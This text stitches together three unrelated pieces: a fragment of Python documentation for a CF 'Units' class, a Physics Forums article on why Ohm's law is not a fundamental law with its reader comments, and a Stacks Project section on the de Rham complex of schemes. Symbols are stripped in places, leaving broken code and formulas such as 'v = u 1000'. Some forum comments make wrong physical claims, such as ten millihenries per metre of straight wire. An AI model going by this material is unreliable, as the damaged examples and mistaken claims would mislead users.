u.equivalent(y), u.equals(y) (False, False) Time and reference time units Time units may be given as durations of time (time units) or as an amount of time since a reference time (reference time units): >>> v = Units() >>> v.units = 's' >>> v.units = 'day' >>> v.units = 'days since 1970-01-01' >>> v.units = 'seconds since 1992-10-8 15:15:42.5 -6:00' Note It is recommended that the units year and month be used with caution, as explained in the following excerpt from the CF conventions: “The Udunits package defines a year to be exactly 365.242198781 days (the interval between 2 successive passages of the sun through vernal equinox). It is not a calendar year. Udunits includes the following definitions for years: a common_year is 365 days, a leap_year is 366 days, a Julian_year is 365.25 days, and a Gregorian_year is 365.2425 days. For similar reasons the unit month, which is defined to be exactly year/12, should also be used with caution.” Calendar The date given in reference time units is associated with one of the calendars recognized by the CF conventions and may be set with the calendar attribute. However, as in the CF conventions, if the calendar is not set then, for the purposes of calculation and comparison, it defaults to the mixed Gregorian/Julian calendar as defined by Udunits: >>> u = Units('days since 2000-1-1') >>> u.calendar AttributeError: Can't get 'Units' attribute 'calendar' >>> v = Units('days since 2000-1-1') >>> v.calendar = 'gregorian' >>> v.equals(u) True Arithmetic with units The following operators, operations and assignments are overloaded: Comparison operators: ==, != Binary arithmetic operations: +, -, , /, pow(), * Unary arithmetic operations: -, + Augmented arithmetic assignments: +=, -=, =, /=, = The comparison operations return a boolean and all other operations return a new units object or modify the units object in place. >>> u = Units('m') <CF Units: m> >>> v = u 1000 >>> v <CF Units: 1000 m> >>> u == v False >>> u != v True >>> u **= 2 >>> u <CF Units: m2> It is also possible to create the logarithm of a unit corresponding to the given logarithmic base: >>> u = Units('seconds') >>> u.log(10) <CF Units: lg(re 1 s)> Modifying data for equivalent units Any numpy array or python numeric type may be modified for equivalent units using the conform static method. >>> Units.conform(2, Units('km'), Units('m')) 2000.0 >>> import numpy >>> a = numpy.arange(5.0) >>> Units.conform(a, Units('minute'), Units('second')) array([ 0., 60., 120., 180., 240.]) >>> a array([ 0., 1., 2., 3., 4.]) If the inplace keyword is True, then a numpy array is modified in place, without any copying overheads: >>> Units.conform(a, Units('days since 2000-12-1'), Units('days since 2001-1-1'), inplace=True) array([-31., -30., -29., -28., -27.]) >>> a array([-31., -30., -29., -28., -27.]) Initialization Parameters: units: str or cf.Units, optional Set the new units from this string. calendar: str, optional Set the calendar for reference time units. formatted: bool, optional Format the string representation of the units in a standardized manner. See the formatted method. names: bool, optional Format the string representation of the units using names instead of symbols. See the format method. definition: bool, optional Format the string representation of the units using basic units. See the format method. _ut_unit: int, optional Set the new units from this Udunits binary unit representation. This should be an integer returned by a call to ut_parse function of Udunits. Ignored if units is set. ## Attributes¶ calendar The calendar for reference time units. isdimensionless True if the units are dimensionless, false otherwise. islatitude True if and only if the units are latitude units. islongitude True if and only if the units are longitude units. ispressure True if the units are pressure units, false otherwise. isreftime True if the units are reference time units, False otherwise. istime True if the units are time units, False otherwise. reftime The reference date-time of reference time units. units The units. ## Methods¶ conform Conform values in one unit to equivalent values in another, compatible unit. copy Return a deep copy. dump Return a string containing a description of the units. equals Return True if and only if numeric values in one unit are convertible to numeric values in the other unit and their conversion is a scale factor of 1. equivalent Returns True if numeric values in one unit are convertible to numeric values in the other unit. formatted Formats the string stored in the units attribute in a standardized manner. log Return the logarithmic unit corresponding to the given logarithmic base. ## Static methods¶ conform Conform values in one unit to equivalent values in another, compatible unit.	{}
Learn Why Ohm’s Law Is Not a Law At first, I wanted this title to say “Ohm’s law is not a Law.” But someone else used that phrase in a recent PF thread, and a storm of protest followed. We are talking about the relationship between Voltage between two points in a circuit and the current between those same two points. ##R=V/I##, or ##V=IR##, or ##I=V/R## I won’t explicitly talk about inductance or capacitance, or AC impedances, although all of those could substitute for ##R## in the following discussion. Semantics Newton’s Second Law can be derived from fundamental symmetries in nature. But Ohm’s law is not derived, it was empirically discovered by Georg Ohm. He found materials that have a linear relationship of voltage to current within a specified range are called “ohmic.” Many useful materials and useful electric devices are non-ohmic. Beginners often believe that there is great significance in the use of words like “law” or “theory” In physics. Not so. Often it is just an accident of history or a phrase that slides easily off the tongue. It could have been called Ohm’s rule or Ohm’s observation, but it wasn’t. Underlying Assumptions and Limitations Really there is only one assumption behind Ohm’s law; linearity. Not in the mathematical sense, but rather a graph of voltage versus current shows an approximately straight line in a given range. There are always limits to the range even though they may not be explicitly mentioned. For example, at high voltages breakdown and arcing can occur. At high currents, things tend to melt. In the old days, we said that real-world resistance can not be zero. But now we know that superconductors are an exception to that rule. ##R=0## is OK for superconductors. Students often forget that limits exist. A frequent (and annoying) student question is, “So if ##I=V/R##, what happens when ##R=0##. Haha, LOL.” They think that disproves the “law” and thus diminishes the credibility of science in general. Their logic is false. Ohm’s law Has Several Forms ##I=V/R## may be the most familiar form of Ohm’s law, but it is far from the only one. • In AC analysis, we use ##\bar V=\bar I\bar Z##, where ##\bar V##, ##\bar I## and ##\bar Z## are all complex vectors. ##\bar Z## is the complex impedance that can describe combinations of resistance, inductance, and capacitance, without differential equations. See PF Insights AC Power Analysis, Part 1 Basics. • ##\overrightarrow E=\rho \overrightarrow J## is the continuous form of Ohm’s law. where ##\overrightarrow E## is the electric field vector with units of volts per meter (analogous to ##V## of Ohm’s law which has units of volts), ##\overrightarrow J## is the current density vector with units of amperes per unit area (analogous to ##I## of Ohm’s law which has units of amperes), and ##\rho## is the resistivity with units of ohm·meters. Use this form to model currents in 3-dimensional space. • If an external ##B##-field is present and the conductor is not at rest but moving at velocity ##v##, then we use: ##(\overrightarrow E + v \times \overrightarrow B)=\rho \overrightarrow J## • There are also variants of Ohm’s law for 2 D sheets, for magnetic circuits (Hopkinson’s Law), Frick’s Law for diffusion-dominated cases, and for semiconductors. Someone on PF once said that one form was the only “true” Ohm’s law. I disagree. All the forms are useful in different contexts. We can honor Georg Ohm by using his name to cover all the variants, even if he didn’t personally invent all of them. Real-Life Example, A Solar Panel A solar panel is a real-life device. Below, we see a family of curves showing the Voltage V versus current I relationship of a solar panel. Each curve represents a different value of solar intensity. As you can see, the curves range from nearly an ideal voltage source (vertical) to a nearly ideal current source (horizontal), to everything in between. We can draw straight line segments to define the average resistance over a particular range, like R1, R2 or R3. As you can see, the panel ranges from nearly an ideal voltage source to a nearly ideal current source, to everything in between. R4 shows a resistance defined by the tangent to the curve at one particular point. I call R4 the resistance linearized about a point on the curve. We could use these resistances, plus a Thevanin’s Equivalent voltage ##V_{thev}## to model the solar panel in a circuit to be solved using Ohm’s law. (##V_{thev}## is the place where the straight line intercepts the ##V## axis or where ##I=0##). Arbitrary Numbers of Arbitrary Electric Devices When we go beyond a simple resistor made of some material with a linear V-I relationship, we find that very many real-world devices are non-linear. For example, the constant power device (yellow) and the tunnel diode device (blue) curves seen below. There are no physical constraints on the shape of a V-I relationship other than that both V and I must be finite. Even a multi-valued curve that loops back on itself violates no physical law. Students in elementary circuits courses often learn 0nly about the constant R (i.e. the resistor) element, plus L and C. Other kinds of nonlinear circuit devices may not even be mentioned. At first glance, you might say that Ohm’s law doesn’t apply to nonlinear devices, but that’s not true. Suppose we had a circuit containing a solar panel, a constant power, and a tunnel diode. A student using paper and pencil could not be asked to solve such a circuit, so courses that limit themselves to paper and pencil methods do not cover nonlinear elements. But using computers, there is a relatively simple method: 1. Guess an initial V and I point along the curve for each device. 2. Find the linearized resistance (analogous to R4) for each device at the V and I guess point. 3. Solve the linearized circuit using Ohm’s law, calculating new values for each V and I. 4. Use the calculated V and I as the new guess and return to step 2. An iteration like that is very easy to perform with a computer. It isn’t guaranteed to succeed, but when it does succeed, after several passes through steps 2 and 3, it will calculate values for V and I that simultaneously satisfy the relationships of all linear and nonlinear elements in the circuit. It is routine in power grid analysis to solve circuits with a million or more diverse nonlinear elements. Thus, even when modeling devices that don’t seem to obey Ohm’s law, that we can make productive use of Ohm’s law nevertheless. I’ll say it again using stronger words. Ohm’s law cannot be violated in real life; rather it can be adapted to nearly all real-life situations in electric circuits. Ohm’s law is not always a complete description of electrical devices, but Ohm’s law is almost always a useful tool. Students are advised to learn to think that way. Physicists and engineers seek usefulness and try to leave the truth to philosophers. Electricity Study Levels One can study and explain electricity at (at least) 5 levels. In this article, my focus was circuit analysis. One of the standard assumptions for circuit analysis is that Kirchoffs laws apply instantaneously to the entire circuit. That makes ##V## ##I## and ##R## co-equal partners. None of the three can be said to because and the other effect. All three apply simultaneously. Students dissatisfied with Circuit Analysis sometimes yearn for physical explanations and invent false narratives about what happens first and what comes next. If you are such a student, I urge you to study Circuit Analysis first, then follow up with the other levels. If that describes you, I advise that the next step is to abandon circuit analysis, Ohm’s law, Kirchoff’s laws, and to learn Maxwell’s equation as the next deeper step. Fields, not electron motion are the key to the next deeper step. Thanks to PF regular @Jim Hardy for his assistance. 41 replies 1. sophiecentaur says: anorlunda Therefore, IMO we should all thank our lucky stars for the accident that Ohm's Law is useful at all.It's just as well we decided to use metals and a small range of temperatures to start off our EE research. anorlunda Students wouldn't ask that dumb question if they understood that Ohm's Law only applies to a limited region. I don't believe that their teachers understand that. I suspect that the teacher's teachers don't understand that.Agreed: There are thousands of teachers who would say that "Ohm's Law tells us that the Resistance of the component is V/I". You read it everywhere. Why don't they just call it Ohm's Formula and save all that angst? Would they say "Newton's Law is the SUVAT equations"? Funnily enough, no. 2. anorlunda says: vanhees71 I don't know, what you mean. Electric conductivity is a typical transport coefficient, describing the response of the medium to a small perturbation around equilibrium (in this case by a weak electromagnetic field). It's restricted to weak fields in order to stay in the linear-response regime. Of course, it has a range of validity, as has any physical law (except the ones we call "fundamental", because we don't know the validity ranges yet ;-)).I think you ignored the following paragraph from the article that inspired me to write the article in the first place. Students often forget that limits exist. A frequent (and annoying) student question is, “So if I=V/R, what happens when R=0. Ha ha, LOL.” They think that disproves the “law” and thus diminishes the credibility of science in general. Their logic is false.Students wouldn't ask that dumb question if they understood that Ohm's Law only applies to a limited region. I don't believe that their teachers understand that. I suspect that the teacher's teachers don't understand that. In basic electricity Ohm's Law is being taught as absolutely true as if it had a foundation like the principle of least action underlying Newton's Laws of Motion. Somehow, the message that limited ranges are obvious is not getting passed down the ladder. Perhaps is is related to the fact that conduction in bulk materials requires quantum effects to accurately describe and that is just too difficult for most students and most teachers. That is what this article tried to address. Even grad students and profs could stand a reminder and a moment of reflection on the fact that there is not physical principle that says that there has to be any wide region where voltage and current are linearly proportional. It could have been nonlinear all the way. If that were true, then simple algebra could not have been used to analyze simple circuits, and the evolution of electricity, electronics and computers in the 20th century would have taken significantly longer. If computers had been delayed, so would all of science. Therefore, IMO we should all thank our lucky stars for the accident that Ohm's Law is useful at all. 3. anorlunda says: sophiecentaur We are so used to using Batteries, which are essentially Voltage Sources, that it is hard to avoid think of Voltage as the senior member of the VI pair.Try thinking of a superconducting loop with a magnetically induced current. No voltage in the loop before or after the current is induced. We have disagreed before on the topic of teaching electricity. I think that we should stick to the 3 valid levels, QED, Maxwells, and Circuit Analysis (CA) [including Kirchoff's laws]. One of the key assumptions of CA is • The time scales of interest in CA are much larger than the end-to-end propagation delay of electromagnetic waves in the conductors. [A simple rule of thumb, for 60 hertz AC circuits should have lengths of <500 km.] For Voltage to start before Current, explicitly violates this assumption. That's OK in Maxwell's equations, but we should not mention it within the context of using CA. That is not helping students of CA, it is feeding them contradictory and confusing information. 4. cabraham says: sophiecentaur We are so used to using Batteries, which are essentially Voltage Sources, that it is hard to avoid think of Voltage as the senior member of the VI pair.I would agree. One thing worth noting is that a battery can be produced for constant current as well. A short across the terminals results in the off state, or no load. But losses would be greater than an open voltage source. So primary cells have been built for constant voltage operation for over a century. Nuclear fission batteries have been produced, searching for them using "nucell" will give details. These nuclear cells are not only current sources, but a.c. instead dc. An a.c. current source battery, that is different. Apparently nuclear cells function better as a.c. current sources. They use fissionable material, so I won't hold my breath waiting for them to be available to the general public. Claude 5. sophiecentaur says: cabraham Yesz it is. I & V generally h ave a circular relation. Either can come first & produce the other.We are so used to using Batteries, which are essentially Voltage Sources, that it is hard to avoid think of Voltage as the senior member of the VI pair. 6. cabraham says: sophiecentaur Isn't that just a chicken and egg argument for describing a 'relationship' between two variables?Yesz it is. I & V generally h ave a circular relation. Either can come first & produce the other. 7. cabraham says: LvW …and we can think about the meaning of the form: V=IR. We are using this form to find the "voltage drop" caused by a current I that goes through the resistor R. However, is it – physically spoken – correct to say that the current I is producing a voltage V across the resistor R ? (Because an electrical field within the resistive body is a precondition for a current I, is it not?)Yes it is physically correct to say that current I produces voltage V in a resistance. It is also correct that a voltage V places across resistance results in current I. Either one can give rise to the other. No, an electric field across the resistance is not necessary for current to commence. A switch is closed, a battery has an E field due to redox chemical reaction. Charges move through the cables towards the resistor. Current is already commenced by battery redox. When the charges reach the resistance, they continue into the body but incur collusions between electrons & lattice ions. This results in e lectrons droppii g from conduction band down to valence band. Polarization occurs with photon emission. When current is in a resistance it gets warm from this energy conversion. The E field across the resistor happens when charges emitted from the battery arrive. Positive battery terminal attracts electrons from cable. An electron vacating its parent atom leaves a positive ion behind or hole if you prefer. The atom next in line emits an electron towards this hole. Reverse happens at negative battery terminal. The charges & the associated E field arrive at the resistor. Current already is established, as the charges are in motion before the resistor receives them. Charges proceed through the resistor colliding with lattice ions resulting in polarization & photon emission. Polarized charges have an E field, & the line integral of said E field over the distance is the voltage drop. At equilibrium the equation J = sigmaE, or E = rhoJ, which is Ohm's law in 3 dimensions. I will elaborate if needed. Claude 8. sophiecentaur says: David Lewis Yes, if it's an applied voltage. A voltage drop (symbol V) occurs when current passes through the resistor. Conversely, with a voltage source, EMF (symbol E) produces the current that passes through the resistor.Isn't that just a chicken and egg argument for describing a 'relationship' between two variables? 9. sophiecentaur says: [QUOTE="vanhees71, post: 5595672, member: 260864"]I don't know, what you mean. Electric conductivity is a typical transport coefficient, describing the response of the medium to a small perturbation around equilibrium (in this case by a weak electromagnetic field). It's restricted to weak fields in order to stay in the linear-response regime. Of course, it has a range of validity, as has any physical law (except the ones we call "fundamental", because we don't know the validity ranges yet ;-)).[/QUOTE]I just meant that your wording and representation takes it to a higher level of understanding and familiarity. Of course the equation is correct – but it doesn't pretend to be a Law. By the time one gets to the level that you are using to describe what happens, I doubt that one would bring in the term Law.But I guess this will never lie down as it falls within the overlap between higher level Physics and down to Earth practicalities; the two have different agendas. 10. vanhees71 says: [QUOTE="sophiecentaur, post: 5594992, member: 199289"]That's ramping it up a bit for a number of the audience, I think. But also, if σ changes with some other variable, the relationship breaks down so any 'Law' has hit the rails. A Law that's worth its salt will involve all the relevant variables – Ohm's law, when stated fully, fits that requirement.[/QUOTE]I don't know, what you mean. Electric conductivity is a typical transport coefficient, describing the response of the medium to a small perturbation around equilibrium (in this case by a weak electromagnetic field). It's restricted to weak fields in order to stay in the linear-response regime. Of course, it has a range of validity, as has any physical law (except the ones we call "fundamental", because we don't know the validity ranges yet ;-)). 11. vanhees71 says: [QUOTE="anorlunda, post: 5594987, member: 455902"]That's true for the specialized case of a linear and uniform mediums. The article addresses the general case of circuits containing any components, linear/nonlinear, active/passive. As the article says, you can always linearize about a point, define R=V/I, then use linear circuit methods to solve it.[/QUOTE]It's true for any medium in the linear-response regime. More completely written out the relation reads$$tilde{vec{j}}(omega,vec{k})=hat{sigma}(omega,vec{k}) tilde{vec{E}}(omega,vec{k}),$$where we have Fourier-transformed fields in the frequency-wave-number domain, and ##hat{sigma}## is a complex-valued symmetric 2nd-rank tensor obeying the analytic structure in the complex ##omega## plane such that it is a retarded propagator. If you have "active" elements and non-linearities, you have to extend the approximation beyond the linear-response level, as far as I know. 12. sophiecentaur says: [QUOTE="vanhees71, post: 5594977, member: 260864"]Ohm's Law is derived from many-body theory. It's defining a typical transport coefficient in the sense of linear-response theory. It's the "answer" of the medium to applying an electromagnetic field, and defines the electric conductivity in terms of the induced current, ##vec{j}=sigma vec{E}##, where in general ##sigma## is a tensor and depends on the frequency of the applied field. So Ohm's Law is a derived law and has its limit of validity (particularly the strength of the electromagnetic field must not be too large in order to stay in the regime of linear-response theory).[/QUOTE]That's ramping it up a bit for a number of the audience, I think. But also, if σ changes with some other variable, the relationship breaks down so any 'Law' has hit the rails. A Law that's worth its salt will involve all the relevant variables – Ohm's law, when stated fully, fits that requirement. 13. anorlunda says: [QUOTE="vanhees71, post: 5594977, member: 260864"]Ohm's Law is derived from many-body theory. It's defining a typical transport coefficient in the sense of linear-response theory. It's the "answer" of the medium to applying an electromagnetic field, and defines the electric conductivity in terms of the induced current, ##vec{j}=sigma vec{E}##, where in general ##sigma## is a tensor and depends on the frequency of the applied field. So Ohm's Law is a derived law and has its limit of validity (particularly the strength of the electromagnetic field must not be too large in order to stay in the regime of linear-response theory).[/QUOTE]That's true for the specialized case of a linear and uniform mediums. The article addresses the general case of circuits containing any components, linear/nonlinear, active/passive. As the article says, you can always linearize about a point, define R=V/I, then use linear circuit methods to solve it. 14. sophiecentaur says: [QUOTE="anorlunda, post: 5594970, member: 455902"]I view the definition of R as the ratio of V and I. As a definition, it can't be violated by definition (pun intended :wink:)[/QUOTE]I wholeheartedly agree. It's a formula / definition and says nothing about whether or not Ohm's law happens to apply to what's connected to the terminals on the 'black box' we're examining. R could change, or not as V,I or T changes. If it doesn't happen to change then the component is not following Ohm's Law. But one calculation wouldn't tell you one way or the other.This puts me in mind of the SUVAT equations with which we learned to calculate motion under constant acceleration. We don't refer to them them as 'Laws' of motion and we wouldn't dream of suggesting that a measurement of the change in velocity of an object in a given time would be the same under all conditions. But somehow, R=V/I is referred to as Ohm's Law. Teachers and lecturers can be very sloppy about these things. Aamof, I don't remember the constant acceleration thing being emphasised to me in SUVAT learning days, either. They just drew a V/t triangle and did some calculations. It left me uneasy for quite a long while. But teenagers feel 'uneasy' about a lot of things so it was actually the last of my worries. 15. vanhees71 says: Ohm's Law is derived from many-body theory. It's defining a typical transport coefficient in the sense of linear-response theory. It's the "answer" of the medium to applying an electromagnetic field, and defines the electric conductivity in terms of the induced current, ##vec{j}=sigma vec{E}##, where in general ##sigma## is a tensor and depends on the frequency of the applied field. So Ohm's Law is a derived law and has its limit of validity (particularly the strength of the electromagnetic field must not be too large in order to stay in the regime of linear-response theory). 16. anorlunda says: There are no rigid rules in science about the use of words like law, rule, theory, etc, so we are free to disagree I view the definition of R as the ratio of V and I. As a definition, it can't be violated by definition (pun intended :wink:)Newton's Laws and the conservation laws are all derivable from the fundamental symmetries of nature. I resist the idea of making Ohms Law comparable with those. But if you want to call it a law, go ahead and knock yourself out. But don't complain if I prefer different words. 17. Dilema says: [QUOTE="anorlunda, post: 5557225, member: 455902"]anorlunda submitted a new PF Insights postOhm's Law MellowContinue reading the Original PF Insights Post.[/QUOTE]I disagree to the general Idea that Ohm's Law is not a law, yet I strongly support the importance of this issue which I think boils down to the very basics philosophy of what is a physical law, what are the therms under which it consider violated.Following the article spirit, I would recommend title like: Ohm's hypothesis or even better – Ohm's convention.I understood the solar device is given in order to provide real example for violation of ohm's law. But it is not. the rectification profiles comes from a diode like element in the equivalent circulate. Up to date there is no system that violates "Ohm's law" . Note for example that Memristor, Thermistor, Warburg element or any constant phase (CPE) or non-CPE do not violates Ohm's law. 18. Dilema says: The article "Ohm's law Mellow" address a very impotent issue, Yet there is no evidence for violation of Ohm's law (within the limit of ohm's law). I think the confusion comes from the fact that text book do not elaborates on the preliminary assumptions under which Ohm's law valid. 19. Mister T says: The relation ##R=frac{V}{I}## is not Ohm's Law. Rather, it's the definition of ##R##.Ohm's Law is the assertion that over a range of voltages, ##R## is constant.Like all laws, it has limits of validity. There is no such thing as a law with universal limits of validity. Hooke's Law is an example of a law that can be compared to Ohm's Law when teaching this concept of limited validity. 20. Handy Andy says: Ohms law is based on an ideal world for students. All conductors have a complex impedance based on frequency, temperature, resistance, inductance and capacitance. These vary depending on how cables are run adjacent to each other, even climatic conditions can come into play etc. It isnt an ideal world, even a straight piece of wire has typically 10mH per metre. The complex impedances in a conductor become significant when switching very high currents quickly. 21. David Lewis says: And in the former, energy is supplied. In the latter, energy is consumed. 22. sophiecentaur says: Remember, tho', the Voltage is the Energy supply for the charge flow. If you really want a cause and effect, I would say the Voltage causes the current. But in circuits, a voltage somewhere else can cause current to glow which will result in a portion of the supply volts appearing across a resistor. That's K2. 23. David Lewis says: [QUOTE="LvW, post: 5557646, member: 541169"]However, is it… correct to say that the current I is producing a voltage V across the resistor R ?[/QUOTE]Yes, if it's an applied voltage. A voltage drop (symbol V) occurs when current passes through the resistor.Conversely, with a voltage source, EMF (symbol E) produces a current that passes through the resistor. 24. ZapperZ says: [QUOTE="anorlunda, post: 5559084, member: 455902"]It sounds like you didn't read to the end. The article does mention the Dude model as one of five levels at which you can study electricity. It also says that the scope of the article was limited to circuit analysis.[/QUOTE]I did see your link to it, but if you read your main article, it left the impression that Ohm's law is not derivable, that it is purely phenomenological. That is what I was objecting to.BTW, the Drude model is not a model for "electricity". It is a model to describe the behavior of conduction electrons. It means that it gives you the definition and the origin of physical quantities such as resistance, current, etc.Zz. 25. anorlunda says: [QUOTE="ZapperZ, post: 5559026, member: 6230"]However, since the OP discussed the "non-derivable" issue, and did not even mention the Drude model, I consider that to be a significant omission.[/QUOTE]It sounds like you didn't read to the end. The article does mention the Dude model as one of five levels at which you can study electricity. It also says that the scope of the article was limited to circuit analysis. 26. ZapperZ says: [QUOTE="vanhees71, post: 5559035, member: 260864"]One should also mention that the Drude model is not the final answer but that the "electron theory of metals" is one of the first examples for a degenerate Fermi gas (Sommerfeld model). The model was extended by Sommerfeld, explaining the correct relation between electric and heat conductivity (Wiedemann-Franz law).[/QUOTE]Again, we can take this to a million different level of complexities, but this is certainly well beyond the scope of this topic. I mean, just look at Ashcroft and Mermin's text. They started off with the Drude model in Chapter 1, and by Chapter 3, they talked about the "Failures of the Free Electron Model", which was the foundation of the Drude Model.So yes, we can haul this topic into multi-level complexities if we want, but we shouldn't.Zz. 27. vanhees71 says: One should also mention that the Drude model is not the final answer but that the "electron theory of metals" is one of the first examples for a degenerate Fermi gas (Sommerfeld model). The model was extended by Sommerfeld, explaining the correct relation between electric and heat conductivity (Wiedemann-Franz law). 28. ZapperZ says: [QUOTE="sophiecentaur, post: 5559022, member: 199289"]Yes. But Ohm's Law specifically refers to Metals at a constant temperature, doesn't it? Your point has been ignored by the contributions to this thread.[/QUOTE]I beg to differ. By invoking Drude model, I have implicitly invoked temperature dependence.However, to be fair to the OP, Ohm's law in the "practical" sense is often used when the resistance is a constant. Thus, it has already implied that temperature effects are not described within the Ohm's law relationship. I do not see this as being a problem, because this might easily be beyond the scope of this topic.However, since the OP discussed the "non-derivable" issue, and did not even mention the Drude model, I consider that to be a significant omission.Zz. 29. vanhees71 says: Well, yes, that's why I wrote this posting :-). 30. sophiecentaur says: [QUOTE="vanhees71, post: 5559020, member: 260864"]The electric conductivity of course is a function of temperature and chemical potential (for an anisotropic material it's even a tensor).[/QUOTE]Yes. But Ohm's Law specifically refers to Metals at a constant temperature, doesn't it? Your point has been ignored by the contributions to this thread. 31. vanhees71 says: The electric conductivity of course is a function of temperature and chemical potential (for an anisotropic material it's even a tensor). 32. sophiecentaur says: It's interesting that, in a thread that is trying to discuss Ohm's Law, no one seems to have mentioned Temperature. Ohm's Law is followed by a conductor when its Resistance (obtained from V/I) is independent of Temperature. "R=V/I" is not Ohms Law, any more than measuring the Stress/Strain characteristic of any old lump of material 'is' Hooke's Law. In circuits, the 'resistive' components are not just designed to follow Ohm's Law (if they are metallic then they will easily do that); they are designed to have a more or less constant resistance over a large temperature range. That is, in fact, a Super Ohm's Law. 33. ZapperZ says: There is a major omission in this article.Ohm's law can be derived from the Drude model of conduction in metals. This is the statistical classical model of electron gas in a conductor that connects the current density, the applied electric field, and the conductivity. Unfortunately, this origin is never mentioned in the article.It is from this model that we can see the level of simplification, assumptions, and limitations of Ohm's Law, and thus, can also see when and where it will break down.Zz. 34. anorlunda says: [QUOTE="LvW, post: 5557646, member: 541169"]However, is it – physically spoken – correct to say that the current I is producing a voltage V across the resistor R ?(Because an electrical field within the resistive body is a precondition for a current I, is it not?)[/QUOTE]Not true in circuit analysis. That is why I added the last paragraph about 5 levels of study. In Maxwell's equations, we deal with the speed of propagation of fields (speed c in a vacuum). So there we can talk about which came first. In circuit analysis, Kirchoff's laws are assumed to apply instantaneously, so that the V and I appear simultaneously; no first/second. If you want to dig deeper into the physics of what happens first, then abandon circuit analysis, abandon Ohm's law, and use Maxwell's equations. Perhaps I should go back and add that bolded sentence to the article. 35. Averagesupernova says: [QUOTE="LvW, post: 5557646, member: 541169"]…and we can think about the meaning of the form: V=IR.We are using this form to find the "voltage drop" caused by a current I that goes through the resistor R.However, is it – physically spoken – correct to say that the current I is producing a voltage V across the resistor R ?(Because an electrical field within the resistive body is a precondition for a current I, is it not?)[/QUOTE]We can determine the speed, distance, or rate (MPH/KPH) by knowing 2 of the 3. But, we certainly do not say that the length of the road causes motion of the vehicle. I see it is really no different with ohms law. 36. vanhees71 says: Well, it's really semantics. I'd not say that Coulomb's law is "true law of physics" although I prefer the phrase "fundamental law". All physics laws are "true" in the sense that they are well tested by observations and in most cases have a restricted range of validity.That said, I think that Coulomb's Law is, as Ohm's Law, a "derived law" from the fundamental laws of (quantum) electrodynamics. Coulomb's Law is the electrostatic field of a radially symmetric static charge distribution and of course derivable from Maxwell's equations. Ohm's Law is derived from linear-response theory of (quantum) electrodynamics. The electric conductivity is a bona-fide transport coefficient, definable in terms of the Kubo formula. The corresponding correlation function is the em. current-current correlator etc. 37. Dr. Courtney says: There are important distinctions between truly general laws and useful summaries that are technically approximations at best and in some ways more definitions of tautologies. Coulomb's law is a true law of Physics.Ohm's law is more of a definition of Ohmic materials. Ohmic materials obey Ohm's law. That's like saying "It works where it works" without having real predictive power regarding for what materials it will and won't work before the experiment is performed.The ideal gas law is an approximation in a limiting case. In that sense, it is a true law of Physics, at least as much of Galileo's law of falling bodies. 38. LvW says: …and we can think about the meaning of the form: V=I*R.We are using this form to find the "voltage drop" caused by a current I that goes through the resitor R.However, is it – physikally spoken – correct to say that the current I is producing a voltage V across the resistor R ?(Because an electrical field within the resistive body is a precondition for a current I, is it not?) 39. Averagesupernova says: I have actually thought about this a number of times. I look at it from the perspective that ohms is simply a ratio. Sometimes the ratio holds true across a wide range of voltages and currents and with other materials not so much. We can nitpick about this from now until eternity I suppose. 40. eltodesukane says: Semantics..Just like Moore's law (which is not a fundamental law of the universe), or evolution theory (which so many have told me is "just a theory"). 41. Greg Bernhardt says: A question from Reddit[QUOTE]The ideal gas law doesn't apply for real gases. Is the ideal gas law then not a law?[/QUOTE]	{}
## 50.2 The de Rham complex Let $p : X \to S$ be a morphism of schemes. There is a complex $\Omega ^\bullet _{X/S} = \mathcal{O}_{X/S} \to \Omega ^1_{X/S} \to \Omega ^2_{X/S} \to \ldots$ of $p^{-1}\mathcal{O}_ S$-modules with $\Omega ^ i_{X/S} = \wedge ^ i(\Omega _{X/S})$ placed in degree $i$ and differential determined by the rule $\text{d}(g_0 \text{d}g_1 \wedge \ldots \wedge \text{d}g_ p) = \text{d}g_0 \wedge \text{d}g_1 \wedge \ldots \wedge \text{d}g_ p$ on local sections. See Modules, Section 17.29. Given a commutative diagram $\xymatrix{ X' \ar[r]_ f \ar[d] & X \ar[d] \\ S' \ar[r] & S }$ of schemes, there are canonical maps of complexes $f^{-1}\Omega _{X/S}^\bullet \to \Omega ^\bullet _{X'/S'}$ and $\Omega _{X/S}^\bullet \to f_\Omega ^\bullet _{X'/S'}$. See Modules, Section 17.29. Linearizing, for every $p$ we obtain a linear map $f^\Omega ^ p_{X/S} \to \Omega ^ p_{X'/S'}$. In particular, if $f : Y \to X$ be a morphism of schemes over a base scheme $S$, then there is a map of complexes $\Omega ^\bullet _{X/S} \longrightarrow f_\Omega ^\bullet _{Y/S}$ Linearizing, we see that for every $p \geq 0$ we obtain a canonical map $\Omega ^ p_{X/S} \otimes _{\mathcal{O}_ X} f_\mathcal{O}_ Y \longrightarrow f_\Omega ^ p_{Y/S}$ $\xymatrix{ X' \ar[r]_ f \ar[d] & X \ar[d] \\ S' \ar[r] & S }$ be a cartesian diagram of schemes. Then the maps discussed above induce isomorphisms $f^\Omega ^ p_{X/S} \to \Omega ^ p_{X'/S'}$. Proof. Combine Morphisms, Lemma 29.32.10 with the fact that formation of exterior power commutes with base change. $\square$ Lemma 50.2.2. Consider a commutative diagram of schemes $\xymatrix{ X' \ar[r]_ f \ar[d] & X \ar[d] \\ S' \ar[r] & S }$ If $X' \to X$ and $S' \to S$ are étale, then the maps discussed above induce isomorphisms $f^\Omega ^ p_{X/S} \to \Omega ^ p_{X'/S'}$. Proof. We have $\Omega _{S'/S} = 0$ and $\Omega _{X'/X} = 0$, see for example Morphisms, Lemma 29.36.15. Then by the short exact sequences of Morphisms, Lemmas 29.32.9 and 29.34.16 we see that $\Omega _{X'/S'} = \Omega _{X'/S} = f^\Omega _{X/S}$. Taking exterior powers we conclude. $\square$ ## Comments (2) Comment #5373 by Lor Gro on Ctrl+F "schemss" ## Post a comment Your email address will not be published. Required fields are marked. In your comment you can use Markdown and LaTeX style mathematics (enclose it like $\pi$). A preview option is available if you wish to see how it works out (just click on the eye in the toolbar). Unfortunately JavaScript is disabled in your browser, so the comment preview function will not work. All contributions are licensed under the GNU Free Documentation License. In order to prevent bots from posting comments, we would like you to prove that you are human. You can do this by filling in the name of the current tag in the following input field. As a reminder, this is tag 07HX. Beware of the difference between the letter 'O' and the digit '0'.	{}
